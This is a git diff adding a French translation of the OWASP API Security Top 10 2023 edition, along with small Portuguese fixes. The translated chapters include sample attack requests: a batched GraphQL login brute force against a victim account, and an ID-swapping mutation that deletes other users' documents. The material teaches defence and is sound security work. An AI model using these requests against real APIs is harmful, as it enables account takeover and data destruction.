diff --git a/VERSION b/VERSION index e7034819f..9183195ac 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -2.3.2 \ No newline at end of file +2.4.0 \ No newline at end of file diff --git a/editions/2019/pt-pt/0xa5-broken-function-level-authorization.md b/editions/2019/pt-pt/0xa5-broken-function-level-authorization.md index 99bd0f3be..f96ca47c8 100644 --- a/editions/2019/pt-pt/0xa5-broken-function-level-authorization.md +++ b/editions/2019/pt-pt/0xa5-broken-function-level-authorization.md @@ -24,7 +24,7 @@ Nunca assuma o tipo dum _endpoint_, normal ou administrativo, apenas com base no URL. Apesar dos programadores poderem ter decidido expor a maioria dos _endpoints_ -administrativos sob um mesmo prefixo, e.g. `api/admins, é comum encontrarem-se +administrativos sob um mesmo prefixo, e.g. `api/admins`, é comum encontrarem-se _endpoints_ administrativos sob outros prefixos, misturados com _endpoints_ ordinários e.g. `api/users`. diff --git a/editions/2019/pt-pt/0xd0-about-data.md b/editions/2019/pt-pt/0xd0-about-data.md index 3042e7f89..290d94055 100644 --- a/editions/2019/pt-pt/0xd0-about-data.md +++ b/editions/2019/pt-pt/0xd0-about-data.md @@ -1,4 +1,4 @@ -# Methodology and Data +# Metodologia e Dados ## Preâmbulo diff --git a/editions/2023/fr/0x00-header.md b/editions/2023/fr/0x00-header.md new file mode 100644 index 000000000..e73cec963 --- /dev/null +++ b/editions/2023/fr/0x00-header.md @@ -0,0 +1,14 @@ +--- +title: '' +description: OWASP API Security Top 10 2023 edition +--- + +![OWASP LOGO](images/cover.jpg) + +| | | | +| - | - | - | +| https://owasp.org | Ce travail est sous licence [Creative Commons Attribution-ShareAlike 4.0 International License][1] | ![Creative Commons License Logo](images/front-cc.png) | + +[1]: http://creativecommons.org/licenses/by-sa/4.0/ + + diff --git a/editions/2023/fr/0x00-notice.md b/editions/2023/fr/0x00-notice.md new file mode 100644 index 000000000..a8ae57452 --- /dev/null +++ b/editions/2023/fr/0x00-notice.md @@ -0,0 +1,12 @@ +# Note + +Ce document est la version texte traduite en français de l'OWASP API Security Top 10. Il est utilisé comme source pour toutes les versions officielles de ce document, telles que le site web. + + +Les contributions au projet telles que les commentaires, les corrections ou les traductions doivent être effectuées ici. Pour plus de détails sur [Comment contribuer][1], veuillez vous référer à [CONTRIBUTING.md][1]. + +* Erez Yallon +* Inon Shkedy +* Paulo Silva + +[1]: ../../../CONTRIBUTING.md diff --git a/editions/2023/fr/0x00-toc.md b/editions/2023/fr/0x00-toc.md new file mode 100644 index 000000000..18f1f7889 --- /dev/null +++ b/editions/2023/fr/0x00-toc.md @@ -0,0 +1,23 @@ +# Table des Matières + +* [Table des Matières](0x00-toc.md) +* [À propos de l'OWASP](0x01-about-owasp.md) +* [Avant-propos](0x02-foreword.md) +* [Introduction](0x03-introduction.md) +* [Notes de publication](0x04-release-notes.md) +* [Risques de sécurité des API](0x10-api-security-risks.md) +* [OWASP Top 10 API Security Risks – 2023](0x11-t10.md) +* [API1:2023 Broken Object Level Authorization](0xa1-broken-object-level-authorization.md) +* [API2:2023 Broken Authentication](0xa2-broken-authentication.md) +* [API3:2023 Broken Object Property Level Authorization](0xa3-broken-object-property-level-authorization.md) +* [API4:2023 Unrestricted Resource Consumption](0xa4-unrestricted-resource-consumption.md) +* [API5:2023 Broken Function Level Authorization](0xa5-broken-function-level-authorization.md) +* [API6:2023 Unrestricted Access to Sensitive Business Flows](0xa6-unrestricted-access-to-sensitive-business-flows.md) +* [API7:2023 Server Side Request Forgery](0xa7-server-side-request-forgery.md) +* [API8:2023 Security Misconfiguration](0xa8-security-misconfiguration.md) +* [API9:2023 Improper Inventory Management](0xa9-improper-inventory-management.md) +* [API10:2023 Unsafe Consumption of APIs](0xaa-unsafe-consumption-of-apis.md) +* [Perspectives pour les Développeurs](0xb0-next-devs.md) +* [Perspectives pour les DevSecOps](0xb1-next-devsecops.md) +* [Méthodologie et données](0xd0-about-data.md) +* [Remerciements](0xd1-acknowledgments.md) diff --git a/editions/2023/fr/0x01-about-owasp.md b/editions/2023/fr/0x01-about-owasp.md new file mode 100644 index 000000000..663a105e3 --- /dev/null +++ b/editions/2023/fr/0x01-about-owasp.md @@ -0,0 +1,45 @@ +# À propos de l'OWASP + +L'Open Worldwide Application Security Project (OWASP) est une communauté ouverte qui cherche à aider les organisations à développer, acheter et maintenir des applications et des API en lesquelles elles peuvent avoir confiance. + +L'OWASP vous met à disposition gratuitement et en libre accès : + +* Des outils et des normes de sécurité pour les applications. +* Des livres complets à propos des tests de sécurité sur les applications, du développement de code sécurisé et de la revue de code sécurisé. +* Des présentations et des [vidéos][1]. +* Des [Cheat sheets][2] sur de nombreux sujets. +* Des contrôles et des bibliothèques de sécurité standard. +* Des [communautés locales partout dans le monde][3]. +* Des recherches de pointe. +* De nombreuses [conférences partout dans le monde][4]. +* Des [listes de diffusion][5] ([archive][6]). + +Plus de renseignements sur : [https://www.owasp.org][7]. + +Tous les outils, documents, vidéos, présentations et communautés de l'OWASP sont gratuits et ouverts à toute personne intéressée par l'amélioration de la sécurité des applications. + +Nous considerons la sécurité des applications d'abord comme un problème impliquant des personnes, des processus et de la technologie. La manière la plus efficace de la faire progresser est donc de travailler sur l'ensemble de ces domaines en même temps. + +L'OWASP est un nouveau type d'organisation. Notre liberté face aux pressions commerciales nous permet de fournir des informations impartiales, pratiques et rentables sur la sécurité des applications. + +L'OWASP n'est affiliée à aucune entreprise de technologie, bien que nous soutenions l'utilisation éclairée de technologies sous licences commerciales. L'OWASP produit toutes sortes d'éléments de manière collaborative, transparente et ouverte. + +La Fondation OWASP est l'entité à but non lucratif qui garantit le succès à long terme du projet. La quasi-totalité des personnes associée à l'OWASP est bénévole, y compris le conseil d'administration, les responsables des communautés, les responsables de projets et les membres des projets. Nous soutenons la recherche et l'innovation sur la sécurité par des subventions et des infrastructures. + +Rejoignez-nous ! + +## Copyright et licence + +![license](images/license.png) + +Copyright © 2003-2023 The OWASP Foundation. +Ce document est distribué sous la [licence Creative Commons Attribution Share-Alike 4.0][8]. Toute réutilisation ou distribution doit clairement mentionner les termes et condition de licence de cette oeuvre. + +[1]: https://www.youtube.com/user/OWASPGLOBAL +[2]: https://cheatsheetseries.owasp.org/ +[3]: https://owasp.org/chapters/ +[4]: https://owasp.org/events/ +[5]: https://groups.google.com/a/owasp.org/forum/#!overview +[6]: https://lists.owasp.org/mailman/listinfo +[7]: https://www.owasp.org +[8]: http://creativecommons.org/licenses/by-sa/4.0/ diff --git a/editions/2023/fr/0x02-foreword.md b/editions/2023/fr/0x02-foreword.md new file mode 100644 index 000000000..1aa5a6194 --- /dev/null +++ b/editions/2023/fr/0x02-foreword.md @@ -0,0 +1,27 @@ +# Avant-propos + +Actuellement, l'innovation dans le monde des applications est portée par l'Interface de Programmation Applicative (API). +Des banques en passant par le commerce et le transport, jusqu'à l'IoT, les véhicules autonomes et les villes intelligentes, les API sont une partie essentielle des applications modernes, que ces applications soient des logiciels, des applications web ou mobiles. Les API peuvent être utilisées dans des applications destinées aux consommateurs, aux partenaires ou à des usages internes. + +Par nature, les API exposent la logique de l'application et des données sensibles telles que les données à caractère personnel (DCP) et, en raison de cela, les API sont devenues de plus en plus une cible privilégiée pour les attaquants. Sans API sécurisées, une innovation rapide serait impossible. + +Bien que la liste des 10 principaux risques de sécurité des applications web soit toujours pertinente, en raison la nature particulière des API, une liste spécifique des risques de sécurité consacrée aux API était nécessaire. La sécurité des API se concentre sur des stratégies et des solutions pour comprendre et atténuer les vulnérabilités uniques et les risques de sécurité associés aux API. + +Si vous êtes familier avec le [Projet OWASP Top 10][1], vous remarquerez les similitudes entre les deux documents : ils sont conçus pour être lisibles et pour facilement se les approprier. Si vous êtes nouveau dans la série OWASP Top 10, vous feriez peut-être mieux de lire les sections [Risques de sécurité des API][2] et [Méthodologie et données][3] avant de vous plonger dans la liste du Top 10. + +Vous pouvez contribuer au OWASP API Security Top 10 avec vos questions, commentaires et idées sur notre dépôt de projet GitHub : + +* https://owasp.org/www-project-api-security/ +* https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md + +Vous pouvez trouver le OWASP API Security Top 10 ici : + +* https://owasp.org/www-project-api-security/ +* https://github.com/OWASP/API-Security + +Nous tenons à remercier tous les contributeurs qui ont rendu ce projet possible par leur effort et leurs contributions. Ils sont tous répertoriés dans la [section Remerciements][4]. Merci ! + +[1]: https://owasp.org/www-project-top-ten/ +[2]: ./0x10-api-security-risks.md +[3]: ./0xd0-about-data.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2023/fr/0x03-introduction.md b/editions/2023/fr/0x03-introduction.md new file mode 100644 index 000000000..546136073 --- /dev/null +++ b/editions/2023/fr/0x03-introduction.md @@ -0,0 +1,61 @@ +# Introduction + +## Bienvenue dans le OWASP API Security Top 10 - 2023! + +Bienvenue dans la seconde édition du OWASP API Security Top 10! + +Ce document de sensibilisation a été publié pour la première fois en 2019. Depuis +lors, le secteur de la sécurité des API a prospéré et est devenue plus mature. +Nous croyons fermement que la première édition de ce document a contribué positivement à cette industrie, +car il a rapidement été adopté comme une référence. + +Les API jouent un rôle très important dans l'architecture moderne des applications. +Mais comme l'innovation évolue à un rythme différent de la sensibilisation à la sécurité, +nous pensons qu'il est important de se concentrer sur la sensibilisation à la sécurité des API. + +Le principal objectif du OWASP API Security Top 10 est d'éduquer ceux qui sont +impliqués dans le développement et la maintenance des API, par exemple, les +développeurs, les designers, les architectes, les managers ou les +organisations. Vous pouvez en savoir plus sur le projet en +visitant [la page du projet][1]. + +Si vous n'êtes pas familier avec la série OWASP top 10, nous vous recommandons de +consulter au moins les projets suivants : + +* [OWASP Cloud-Native Application Security Top 10][2] +* [OWASP Desktop App Security Top 10][3] +* [OWASP Docker Top 10][4] +* [OWASP Low-Code/No-Code Top 10][5] +* [OWASP Machine Learning Security Top Ten][6] +* [OWASP Mobile Top 10][7] +* [OWASP TOP 10][8] +* [OWASP Top 10 CI/CD Security Risks][9] +* [OWASP Top 10 Client-Side Security Risks][10] +* [OWASP Top 10 Privacy Risks][11] +* [OWASP Serverless Top 10][12] + +Aucun de ces projets n'en remplace un autre : si vous travaillez sur une application +mobile alimentée par une API back-end, vous feriez mieux de lire les deux Top 10 +correspondants. Il en va de même si vous travaillez sur une application web ou +de bureau alimentée par des API. + +Dans la section [Méthodologie et données][13], vous pouvez en savoir plus sur la +façon dont cette édition a été créée. Nous encourageons tout le +monde à contribuer avec des questions, des commentaires et des idées sur notre +[dépôt GitHub][14] ou notre [liste de diffusion][15]. + +[1]: https://owasp.org/www-project-api-security/ +[2]: https://owasp.org/www-project-cloud-native-application-security-top-10/ +[3]: https://owasp.org/www-project-desktop-app-security-top-10/ +[4]: https://owasp.org/www-project-docker-top-10/ +[5]: https://owasp.org/www-project-top-10-low-code-no-code-security-risks/ +[6]: https://owasp.org/www-project-machine-learning-security-top-10/ +[7]: https://owasp.org/www-project-mobile-top-10/ +[8]: https://owasp.org/www-project-top-ten/ +[9]: https://owasp.org/www-project-top-10-ci-cd-security-risks/ +[10]: https://owasp.org/www-project-top-10-client-side-security-risks/ +[11]: https://owasp.org/www-project-top-10-privacy-risks/ +[12]: https://owasp.org/www-project-serverless-top-10/ +[13]: ./0xd0-about-data.md +[14]: https://github.com/OWASP/API-Security +[15]: https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project diff --git a/editions/2023/fr/0x04-release-notes.md b/editions/2023/fr/0x04-release-notes.md new file mode 100644 index 000000000..d2290ce61 --- /dev/null +++ b/editions/2023/fr/0x04-release-notes.md @@ -0,0 +1,26 @@ +# Notes de publication + +Ce document est la seconde édition du OWASP API Security Top 10, disponible exactement quatre ans +après sa première publication. Beaucoup de choses ont changé dans le domaine (de +la sécurité) des API. Le trafic des API a augmenté à un rythme soutenu, certains +protocoles API ont gagné en popularité, de nouvelles solutions de sécurité ont vu le jour, et, bien sûr, les attaquants ont développé de nouvelles compétences et techniques pour compromettre les API. Il était grand temps de mettre à jour la liste des dix risques de sécurité API les plus critiques. + +Avec une industrie de la sécurité des API plus mature, pour la première fois, il y a eu [un appel public à la collecte de données][1]. Malheureusement, aucune donnée n'a été envoyée, mais sur la base de l'expérience de l'équipe du projet, de l'examen attentif de la part des spécialistes de la sécurité des API et des retours de la communauté sur la version candidate, nous avons construit cette nouvelle liste. Dans la [section Méthodologie et Données][2], vous trouverez plus de détails sur la façon dont cette version a été construite. Pour plus de détails sur les risques de sécurité, veuillez vous référer à la [section Risques de sécurité des API][3]. + +Le OWASP API Security Top 10 2023 est un document de sensibilisation tourné vers l'avenir pour une industrie en constante évolution. Il ne remplace pas les autres TOP 10. Dans cette édition : + +* Nous avons combiné l' "Excessive Data Exposure" et le "Mass Assignment" en mettant l'accent sur la cause commune : "Broken Object Property Level Authorization". +* Nous avons mis davantage l'accent sur la consommation de ressources, plutôt que sur le rythme auquel elles sont épuisées. +* Nous avons créé une nouvelle catégorie "Unrestricted Access to Sensitive Business Flows" pour aborder de nouvelles menaces, comprenant la plupart de celles qui peuvent être atténuées par le biais du rate limiting. +* Nous avons ajouté "Unsafe Consumption of APIs" pour aborder quelque chose que nous avons commencé à voir : les attaquants ont commencé à chercher à compromettre les services intégrés de la cible, au lieu de viser directement les API. C'est le bon moment pour commencer à sensibiliser à ce risque croissant. + +Les API jouent un rôle de plus en plus important dans l'architecture moderne des microservices, les applications monopages (SPA), les applications mobiles, l'IoT, etc. Le OWASP API Security Top 10 est un effort nécessaire pour sensibiliser aux problèmes de sécurité des API modernes. + +Cette mise à jour n'a été possible que grâce à l'énorme effort de plusieurs bénévoles, listés dans la [section Remerciements][4]. + +Merci! + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: ./0xd0-about-data.md +[3]: ./0x10-api-security-risks.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2023/fr/0x10-api-security-risks.md b/editions/2023/fr/0x10-api-security-risks.md new file mode 100644 index 000000000..6815d000a --- /dev/null +++ b/editions/2023/fr/0x10-api-security-risks.md @@ -0,0 +1,39 @@ +# Risques de sécurité des API + +La [méthodologie d'évaluation des risques de l'OWASP][1] a été utilisée pour effectuer l'analyse des risques. + +La table ci-dessous résume la terminologie associée au "score" de risque. + +| Facteur de menace | Exploitabilité | Prévalence de la faiblesse | Détectabilité de la faiblesse | Impact technique | Impacts organisationnel | +| :-: | :-: | :-: | :-: | :-: | :-: | +| Spécifique à l'API | Facile: **3** | Répandue **3** | Facile **3** | Sévère **3** | Spécifique à l'organisation | +| Spécifique à l'API | Moyenne: **2** | Commune **2** | Moyenne **2** | Modéré **2** | Spécifique à l'organisation | +| Spécifique à l'API | Difficile: **1** | Difficile **1** | Difficile **1** | Mineur **1** | Spécifique à l'organisation | + + +**Note**: Cette approche ne prend pas en compte la probabilité de la menace. Elle ne tient pas non plus compte des divers détails techniques spécifiques à votre application. L'un de ces facteurs pourrait affecter significativement la probabilité globale qu'un attaquant trouve et exploite une vulnérabilité particulière. Cette notation ne prend pas en compte l'impact réel sur votre entreprise. Votre organisation devra décider du niveau de risque de sécurité des applications et des API que l'organisation est prête à accepter compte tenu de votre culture, de votre secteur et de votre environnement réglementaire. Le but du OWASP API Security Top 10 n'est pas de faire cette analyse de risque pour vous. Comme cette édition n'est pas basée sur des données, la prévalence résulte d'un consensus entre les membres de l'équipe. + +## Références + +### OWASP + +* [OWASP Risk Rating Methodology][1] +* [Article on Threat/Risk Modeling][2] + +### Externes + +* [ISO 31000: Risk Management Std][3] +* [ISO 27001: ISMS][4] +* [NIST Cyber Framework (US)][5] +* [ASD Strategic Mitigations (AU)][6] +* [NIST CVSS 3.0][7] +* [Microsoft Threat Modeling Tool][8] + +[1]: https://owasp.org/www-project-risk-assessment-framework/ +[2]: https://owasp.org/www-community/Threat_Modeling +[3]: https://www.iso.org/iso-31000-risk-management.html +[4]: https://www.iso.org/isoiec-27001-information-security.html +[5]: https://www.nist.gov/cyberframework +[6]: https://www.asd.gov.au/infosec/mitigationstrategies.htm +[7]: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator +[8]: https://www.microsoft.com/en-us/download/details.aspx?id=49168 diff --git a/editions/2023/fr/0x11-t10.md b/editions/2023/fr/0x11-t10.md new file mode 100644 index 000000000..bbb4fd8ef --- /dev/null +++ b/editions/2023/fr/0x11-t10.md @@ -0,0 +1,28 @@ +# OWASP Top 10 API Security Risks – 2023 + +| Risque | Description | +| ------ | ----------- | +| [API1:2023 - Broken Object Level Authorization][api1] | Les API ont tendance à exposer des points d'accès (endpoints) qui manipulent des identifiants d'objets (OID), créant ainsi une large surface d'attaque sur les contrôles d'accès aux objets. Des contrôle d'autorisation doivent être effectuées dans chaque fonction qui accède à une source de données en utilisant un ID fourni par l'utilisateur. | +| [API2:2023 - Broken Authentication][api2] | Les mécanismes d'authentification sont souvent implémentés de manière incorrecte, permettant aux attaquants de compromettre les jetons (token) d'authentification ou d'exploiter des failles d'implémentation afin d'usurper temporairement ou définitivement l'identité d'autres utilisateurs. L'incapacité d'un système à identifier le client/l'utilisateur compromet la sécurité de l'API dans son ensemble. | +| [API3:2023 - Broken Object Property Level Authorization][api3] | Cette catégorie combine les anciennes catégories [API3:2019 Excessive Data Exposure][1] et [API6:2019 - Mass Assignment][2], en se concentrant sur la cause commune : le manque de validation ou une validation incorrecte dans le processus d'autorisation au niveau des propriétés de l'objet. Cela conduit à une exposition ou une manipulation d'informations par des parties non autorisées. | +| [API4:2023 - Unrestricted Resource Consumption][api4] | Satisfaire les requêtes API nécessite des ressources telles que la bande passante réseau, le CPU, la mémoire et le stockage. D'autres ressources telles que les e-mails/SMS/appels téléphoniques ou la validation biométrique sont mises à disposition par les fournisseurs de services via des intégrations API, moyennant un paiement par requête effectuée. Des attaques réussies peuvent entraîner un déni de service ou une augmentation des coûts opérationnels. | +| [API5:2023 - Broken Function Level Authorization][api5] | Les politiques de contrôle d'accès complexes avec différentes hiérarchies, groupes et rôles, et une séparation floue entre les fonctions normales et d'administration, tendent à entraîner des failles d'autorisation. En exploitant ces problèmes, les attaquants peuvent accéder aux ressources d'autres utilisateurs et/ou aux fonctions d'administration. | +| [API6:2023 - Unrestricted Access to Sensitive Business Flows][api6] | Les API vulnérables à ce risque exposent un flux métier - tel que l'achat d'un billet ou la publication d'un commentaire - sans compenser l'impact potentiellement néfaste pour l'entreprise si la fonctionnalité est utilisée de manière excessive et automatisée. Cela ne provient pas nécessairement de bugs d'implémentation. | +| [API7:2023 - Server Side Request Forgery][api7] | Les failles de type SSRF (Server-Side Request Forgery) peuvent survenir lorsqu'une API récupère une ressource distante sans valider l'URI fourni par l'utilisateur. Cela permet à un attaquant de forcer l'application à envoyer une requête forgée vers une destination inattendue, même si elle est protégée par un pare-feu ou un VPN. | +| [API8:2023 - Security Misconfiguration][api8] | Les API et les systèmes qui les supportent contiennent généralement des configurations complexes, destinées à rendre les API plus personnalisables. Les ingénieurs logiciels et DevOps peuvent passer à côté de ces configurations, ou ne pas suivre les meilleures pratiques de sécurité en matière de configuration, ouvrant la porte à différents types d'attaques. | +| [API9:2023 - Improper Inventory Management][api9] | Les API ont tendance à exposer plus de points d'accès que les applications web traditionnelles, ce qui rend une documentation propre et à jour très importante. Un inventaire correct des hôtes et des versions d'API déployées est également important pour atténuer les problèmes tels que les versions d'API obsolètes et les points d'accès de débuggage exposés. | +| [API10:2023 - Unsafe Consumption of APIs][api10] | Les développeurs ont tendance à faire plus confiance aux données reçues des API tierces qu'aux entrées des utilisateurs, et adoptent donc souvent des normes de sécurité plus faibles. Afin de compromettre les API, les attaquants s'attaquent aux services tiers intégrés plutôt que de tenter de compromettre directement l'API cible. | + +[1]: https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/ +[3]: https://owasp.org/API-Security/editions/2019/en/0xa4-lack-of-resources-and-rate-limiting/ +[api1]: 0xa1-broken-object-level-authorization.md +[api2]: 0xa2-broken-authentication.md +[api3]: 0xa3-broken-object-property-level-authorization.md +[api4]: 0xa4-unrestricted-resource-consumption.md +[api5]: 0xa5-broken-function-level-authorization.md +[api6]: 0xa6-unrestricted-access-to-sensitive-business-flows.md +[api7]: 0xa7-server-side-request-forgery.md +[api8]: 0xa8-security-misconfiguration.md +[api9]: 0xa9-improper-inventory-management.md +[api10]: 0xaa-unsafe-consumption-of-apis.md diff --git a/editions/2023/fr/0xa1-broken-object-level-authorization.md b/editions/2023/fr/0xa1-broken-object-level-authorization.md new file mode 100644 index 000000000..bf507a311 --- /dev/null +++ b/editions/2023/fr/0xa1-broken-object-level-authorization.md @@ -0,0 +1,74 @@ +# API1:2023 Broken Object Level Authorization + +| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact | +| - | - | - | +| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Répandue** : Détection **Facile** | Technique **Modérée** : Spécifique à l'organisation | +| Les attaquants peuvent exploiter les points d'accès (endpoints) de l'API qui sont vulnérables au "Broken Object Level Authorization" en manipulant l'ID de l'objet envoyé dans la requête. Les ID d'objet peuvent être des entiers, des UUID (identifiants uniques universels) ou des chaînes de caractères. Quel que soit le type de données, ils sont faciles à identifier dans la requête (dans le chemin ou dans les paramètres), son en-tête (header) ou même dans sa payload. | Ce problème est extrêmement courant dans les applications basées sur des API car le composant serveur ne suit généralement pas pleinement l'état du client, et se repose plutôt sur des paramètres comme les ID d'objet, qui sont envoyés par le client pour décider à quels objets accéder. La réponse du serveur est généralement suffisante pour comprendre si la requête a réussi. | L'accès non autorisé aux objets d'autres utilisateurs peut entraîner la divulgation de données à des parties non autorisées, la perte de données ou la manipulation de données. Dans certaines circonstances, l'accès non autorisé aux objets peut également entraîner une prise de contrôle complète du compte. | + +## L'API est-elle vulnérable ? + +L'autorisation au niveau des objets est un mécanisme de contrôle d'accès qui est généralement implémenté au niveau du code pour valider qu'un utilisateur ne peut accéder qu'aux objets auxquels il devrait avoir accès. + +Chaque point d'accès (endpoint) de l'API qui reçoit un ID d'un objet et effectue une action sur l'objet devrait implémenter des vérifications d'autorisation au niveau de l'objet. Les vérifications devraient valider que l'utilisateur connecté a les autorisations pour effectuer l'action demandée sur l'objet demandé. + +Les échecs de ce mécanisme conduisent généralement à la divulgation non autorisée d'informations, à la modification ou à la destruction de toutes les données. + +Comparer l'ID de l'utilisateur de la session actuelle (par exemple, en l'extrayant du jeton JWT) avec le paramètre ID vulnérable n'est pas une solution suffisante pour résoudre le Broken Object Level Authorization (BOLA). Cette approche ne pourrait résoudre qu'un petit sous-ensemble de cas. + +Dans ce cas du BOLA, c'est par conception que l'utilisateur aura accès au point d'accès (endpoint) ou à la fonction vulnérable. La violation se produit au niveau de l'objet, en manipulant l'ID. Si un attaquant parvient à accéder à un point d'accès (endpoint) ou à une fonction API à laquelle il ne devrait pas avoir accès, il s'agit d'un cas de [Broken Function Level Authorization][5] (BFLA) plutôt que d'un BOLA. + +## Exemple de scénarios d'attaque + +### Scénario #1 + +Une plateforme de e-commerce pour des magasins en ligne fournit une page avec les graphiques des revenus que le magasin a généré. En inspectant les requêtes du navigateur, un attaquant peut identifier les points d'accès de l'API utilisés comme source de données pour ces graphiques et leur modèle : `/shops/{shopName}/revenue_data.json`. En utilisant un autre point d'accès de l'API, l'attaquant peut obtenir la liste de tous les noms de magasins hébergés. Avec un simple script pour manipuler les noms de la liste, en remplaçant `{shopName}` dans l'URL, l'attaquant obtient accès aux données de vente de milliers de magasins de e-commerce. + +### Scénario #2 + +Un fabricant automobile a permis le contrôle à distance de ses véhicules via une API mobile pour communiquer avec le téléphone mobile du conducteur. L'API permet au conducteur de démarrer et d'arrêter le moteur et de verrouiller et déverrouiller les portes à distance. Dans ce flux, l'utilisateur envoie le numéro d'identification du véhicule (VIN) à l'API. L'API ne valide pas que le VIN représente un véhicule appartenant à l'utilisateur connecté, ce qui conduit à une vulnérabilité de BOLA. Un attaquant peut accéder à des véhicules qui ne lui appartiennent pas. + +### Scénario #3 + +Un service de stockage de documents en ligne permet aux utilisateurs de visualiser, d'éditer, de stocker et de supprimer leurs documents. Lorsqu'un document d'un utilisateur est supprimé, une mutation GraphQL avec l'ID du document est envoyée à l'API. + +``` +POST /graphql +{ + "operationName":"deleteReports", + "variables":{ + "reportKeys":[""] + }, + "query":"mutation deleteReports($siteId: ID!, $reportKeys: [String]!) { + { + deleteReports(reportKeys: $reportKeys) + } + }" +} +``` + +L'API ne vérifie pas si l'utilisateur connecté a les autorisations pour supprimer le document avec l'ID fourni. Un attaquant peut supprimer les documents d'autres utilisateurs en remplaçant l'ID du document dans la requête. + +## Comment s'en prémunir + +* Implémentez un mécanisme d'autorisation approprié qui repose sur les politiques et la hiérarchie des utilisateurs. +* Utilisez le mécanisme d'autorisation pour vérifier si l'utilisateur connecté peut effectuer l'action demandée sur l'objet dans chaque fonction qui utilise une entrée du client pour accéder à la base de données. +* Préférez l'utilisation de valeurs GUID aléatoires et imprévisibles pour les ID. +* Écrivez des tests pour évaluer la vulnérabilité du mécanisme d'autorisation. Ne déployez pas de modifications qui feraient échouer les tests. + +## Références + +### OWASP + +* [Authorization Cheat Sheet][1] +* [Authorization Testing Automation Cheat Sheet][2] + +### Externes + +* [CWE-285: Improper Authorization][3] +* [CWE-639: Authorization Bypass Through User-Controlled Key][4] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/285.html +[4]: https://cwe.mitre.org/data/definitions/639.html +[5]: ./0xa5-broken-function-level-authorization.md diff --git a/editions/2023/fr/0xa2-broken-authentication.md b/editions/2023/fr/0xa2-broken-authentication.md new file mode 100644 index 000000000..83e58e322 --- /dev/null +++ b/editions/2023/fr/0xa2-broken-authentication.md @@ -0,0 +1,108 @@ +# API2:2023 Broken Authentication + +| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact | +| - | - | - | +| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Répandue** : Détectabilité **Facile** | Technique **Grave** : Spécifique à l'organisation | +| Le mécanisme d'authentification est une cible facile pour les attaquants car il est exposé à tout le monde. Bien que des compétences techniques plus avancées puissent être nécessaires pour exploiter certaines failles d'authentification, des outils d'exploitation sont généralement disponibles. | Les erreurs de conception commises par les ingénieurs logiciels et en sécurité ou la complexité d'implémentation rendent les problèmes courants pour l'authentification des utilisateurs. Les méthodologies de détection des problèmes d'authentification sont disponibles et faciles à créer. | Les attaquants peuvent prendre le contrôle complet des comptes d'autres utilisateurs du système, lire leurs données personnelles et effectuer des actions sensibles en leur nom. Les systèmes sont peu susceptibles de pouvoir distinguer les actions des attaquants de celles des utilisateurs légitimes. | + + +## L'API est-elle vulnérable ? + +Les points d'accès (endpoints) et les flux d'authentification sont des actifs qui doivent être protégés. De plus, les mécanismes de "Mot de passe oublié / réinitialisation du mot de passe" doivent être traités de la même manière que les mécanismes d'authentification. + +Une API est vulnérable si elle : + +* Permet le bourrage d'informations d'identification, où l'attaquant utilise la force brute avec une liste de noms d'utilisateur et de mots de passe valides. +* Permet aux attaquants d'effectuer une attaque par force brute sur le même compte utilisateur, sans présenter de mécanisme de captcha/blocage de compte. +* Permet des mots de passe faibles. +* Envoie des détails d'authentification sensibles, tels que des jetons d'authentification et des mots de passe dans l'URL. +* Permet aux utilisateurs de modifier leur adresse e-mail, leur mot de passe actuel ou de réaliser d'autres opérations sensibles sans demander de confirmation de mot de passe. +* Ne valide pas l'authenticité des jetons. +* Accepte des jetons JWT non signés/faiblement signés (`{"alg":"none"}`) +* Ne valide pas la date d'expiration du JWT. +* Utilise des mots de passe en clair, non chiffrés ou faiblement hachés. +* Utilise des clés de chiffrement faibles. + +De plus, un microservice est vulnérable si : + +* D'autres microservices peuvent y accéder sans authentification. +* Il utilise des jetons faibles ou prévisibles pour appliquer l'authentification. + +## Exemple de scénarios d'attaque + +## Scénario #1 + +Pour effectuer une authentification utilisateur, le client doit envoyer une requête API comme celle-ci avec les informations d'identification de l'utilisateur : + +``` +POST /graphql +{ + "query":"mutation { + login (username:\"\",password:\"\") { + token + } + }" +} +``` + +Si les informations d'identification sont valides, un jeton d'authentification est renvoyé. Ce jeton doit être fourni dans les requêtes suivantes pour identifier l'utilisateur. Les tentatives de connexion sont soumises à une limitation de "rate limite": seules trois requêtes sont autorisées par minute. + +Pour effectuer une connexion par force brute avec le compte d'une victime, les attaquants utilisent le regroupement de requêtes GraphQL pour contourner la limitation du taux de requêtes, accélérant ainsi l'attaque : + +``` +POST /graphql +[ + {"query":"mutation{login(username:\"victim\",password:\"password\"){token}}"}, + {"query":"mutation{login(username:\"victim\",password:\"123456\"){token}}"}, + {"query":"mutation{login(username:\"victim\",password:\"qwerty\"){token}}"}, + ... + {"query":"mutation{login(username:\"victim\",password:\"123\"){token}}"}, +] +``` + +## Scénario #2 + +Pour mettre à jour l'adresse e-mail associée au compte d'un utilisateur, les clients doivent envoyer une requête API comme celle-ci : + +``` +PUT /account +Authorization: Bearer + +{ "email": "" } +``` + +Comme l'API ne demande pas aux utilisateurs de confirmer leur identité en fournissant leur mot de passe actuel, les attanquants qui sont capables de voler le jeton d'authentification pourraient être en mesure de prendre le contrôle du compte de la victime en demandant la réinitialisation du mot de passe après avoir mis à jour l'adresse e-mail du compte de la victime. + +## Comment s'en prémunir + +* Assurez-vous de connaître tous les flux possibles pour s'authentifier à l'API (mobile/web/liens profonds qui implémentent l'authentification en un clic/etc.). Demandez à vos ingénieurs quels flux vous avez manqués. +* Documentez-vous sur vos mécanismes d'authentification. Assurez-vous de comprendre ce qu'ils sont et comment ils sont utilisés. OAuth n'est pas une authentification, pas plus que les clés API. 